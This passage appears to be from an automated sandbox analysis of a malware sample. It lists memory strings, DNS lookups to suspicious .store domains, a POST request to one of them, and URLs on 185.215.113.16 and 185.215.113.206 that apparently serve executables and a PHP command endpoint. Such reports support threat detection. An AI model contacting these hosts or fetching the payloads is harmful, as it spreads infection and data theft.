Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3370312333.00000234EF533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3370312333.00000234EF533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: onPrefEMEGlobalEnabledChanged() id=media.gmp-manager.checkContentSignatureKEY_PLUGIN_LAST_INSTALL_FAIL_REASONmedia.{0}.allow-x64-plugin-on-arm64uninstallPlugin() - unregistering gmp directory ipc:first-content-process-createdstartup - adding clearkey CDM failedonPrefEnabledChanged() - removing gmp directory resource://gre/modules/UpdateUtils.sys.mjsThis should only be called from XPCShell testsonPrefEnabledChanged() - adding gmp directory - the given reason to update is not supportedstartup - adding gmp directory failed with media.gmp-manager.cert.requireBuiltInfindUpdates() - updateTask succeeded for startup - adding clearkey CDM directory media.gmp-manager.secondsBetweenChecksresource://gre/modules/AddonManager.sys.mjssitepermsaddon-provider-registeredThis should only be called from XPCShell testsKEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASONdom.sitepermsaddon-provider.enabledresource://gre/modules/AddonManager.sys.mjsresource://gre/modules/amManager.sys.mjsspeculativeConnectWithOriginAttributesfindUpdates() - found update for addGatedPermissionTypesForXpcShellTests://auth.9c9media.ca/auth/main.jshttps://smartblock.firefox.etp/play.svg://static.criteo.net/js/ld/publishertag.js://www.everestjs.net/static/st.v3.js://.imgur.com/js/vendor..bundle.js://cdn.branch.io/branch-latest.min.js@mozilla.org/network/atomic-file-output-stream;1://www.rva311.com/static/js/main..chunk.jsFileUtils_openSafeFileOutputStream://c.amazon-adsystem.com/aax2/apstag.js://track.adform.net/serving/scripts/trackpoint/resource://gre/modules/FileUtils.sys.mjs://static.chartbeat.com/js/chartbeat.js://.imgur.io/js/vendor..bundle.js://web-assets.toggl.com/app/assets/scripts/.js://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js*://connect.facebook.net//all.js**://static.chartbeat.com/js/chartbeat_video.jsFileUtils_closeAtomicFileOutputStream@mozilla.org/network/file-output-stream;1@mozilla.org/network/safe-file-output-stream;1FileUtils_openAtomicFileOutputStreamresource://gre/modules/addons/XPIProvider.jsmpictureinpicture%40mozilla.org:1.0.0FEATURE_WEBRTC_HW_ACCELERATION_DECODE equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3376721901.00000234EF6B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC04A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3376721901.00000234EF6DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF6CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF65E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: softwarefile.cc
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 0000001A.00000002.3224823843.00000234DEC6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 445877ac99.exe, 0000000B.00000003.3231442912.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 445877ac99.exe, 0000000B.00000003.3231442912.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/&Y
Source: file.exe, 00000001.00000003.2381432879.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2381347538.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.3231442912.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 445877ac99.exe, 0000000B.00000003.3231442912.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeHP
Source: file.exe, 00000001.00000003.2381432879.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2381347538.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2381837265.0000000000CDE000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.3231442912.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000001.00000003.2381432879.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2381347538.0000000000D01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeN
Source: 445877ac99.exe, 0000000B.00000003.3231442912.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000001.00000003.2381432879.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2381347538.0000000000D01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeT
Source: file.exe, 00000001.00000003.2381432879.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2381347538.0000000000D01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeer
Source: d319b3db9a.exe, 0000000C.00000002.2940937708.000000000087E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001B.00000002.3014369774.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: d319b3db9a.exe, 0000000C.00000002.2940937708.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001B.00000002.3014369774.00000000014C1000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001B.00000002.3014369774.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: num.exe, 0000001B.00000002.3014369774.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/&J
Source: num.exe, 0000001B.00000002.3014369774.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: d319b3db9a.exe, 0000000C.00000002.2940937708.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: num.exe, 0000001B.00000002.3014369774.00000000014C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/Q
Source: num.exe, 0000001B.00000002.3014369774.00000000014C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpD
Source: num.exe, 0000001B.00000002.3014369774.00000000014C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpH
Source: num.exe, 0000001B.00000002.3014369774.00000000014C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpP
Source: d319b3db9a.exe, 0000000C.00000002.2940937708.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpb
Source: d319b3db9a.exe, 0000000C.00000002.2940937708.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpn
Source: num.exe, 0000001B.00000002.3014369774.00000000014C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpt
Source: num.exe, 0000001B.00000002.3014369774.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206~Jd
Source: file.exe, 00000001.00000003.2259300060.00000000053ED000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2905906311.000000000553D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000001.00000003.2259300060.00000000053ED000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2905906311.000000000553D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/ExtHandlerService.sys.mjsreso
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000001.00000003.2259300060.00000000053ED000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2905906311.000000000553D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000001.00000003.2259300060.00000000053ED000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2905906311.000000000553D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000001.00000003.2259300060.00000000053ED000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2905906311.000000000553D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000001.00000003.2259300060.00000000053ED000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2905906311.000000000553D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000001.00000003.2259300060.00000000053ED000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2905906311.000000000553D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000003.3099245850.00000234F7741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001A.00000002.3370312333.00000234EF527000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 0000001A.00000003.3108417044.00000234F1661000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.3233955201.00000234EA526000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/commonJ
Source: firefox.exe, 0000001A.00000002.3233955201.00000234EA561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001A.00000002.3233955201.00000234EA526000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001A.00000002.3233955201.00000234EA561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001A.00000002.3233955201.00000234EA526000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001A.00000002.3224823843.00000234DEC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: http://fb.me/use-check-prop-types
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: http://fb.me/use-check-prop-typesG
Source: firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 0000001A.00000003.3156102237.00000234F048F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001A.00000002.3258203696.00000234EB20A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
